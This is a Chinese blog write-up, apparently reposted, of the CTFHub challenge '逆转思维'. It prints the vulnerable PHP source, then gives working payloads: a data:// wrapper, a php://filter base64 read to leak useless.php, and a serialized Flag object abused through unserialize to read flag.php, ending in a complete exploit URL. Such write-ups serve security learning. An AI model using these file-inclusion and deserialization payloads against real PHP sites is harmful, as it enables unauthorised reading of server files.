首页 > 其他 > 详细

CTFHUB-逆转思维

时间:2021-04-09 12:52:40      阅读:32      评论:0      收藏:0      [点我收藏+]

0x01题面

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,‘r‘)==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,‘r‘)."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

0x02审计

Url传三个参数,text,file,pwd,分别进行匹配,所以payload将由三部分组成

Part 1

1.if(isset($text)&&(file_get_contents($text,‘r‘)==="welcome to the zjctf"))

读取变量$text并存储为字符串,与"welcome to the zjctf"进行匹配 “===” 要求三等号两边的值与类型都相等
使用data://数据流封装协议
payload:

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

技术分享图片

Part 2

if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php

审查代码可知,不可直接包含flag.php,注释提示包含useless.php文件,利用php://filter协议读取这个useless.php
Payload:

file=php://filter/read=convert.base64-encode/resource=useless.php

技术分享图片

将读到的文件内容解密,useless.php源码如下:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

useless.php文件中是一个flag类,题目中

 $password = unserialize($password);

所以我们只要让传入的$password值反序列化后的值等于flag.php即可。

技术分享图片

最终Payload

/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

技术分享图片

CTFHUB-逆转思维

原文:https://www.cnblogs.com/Stunmaker/p/14636381.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!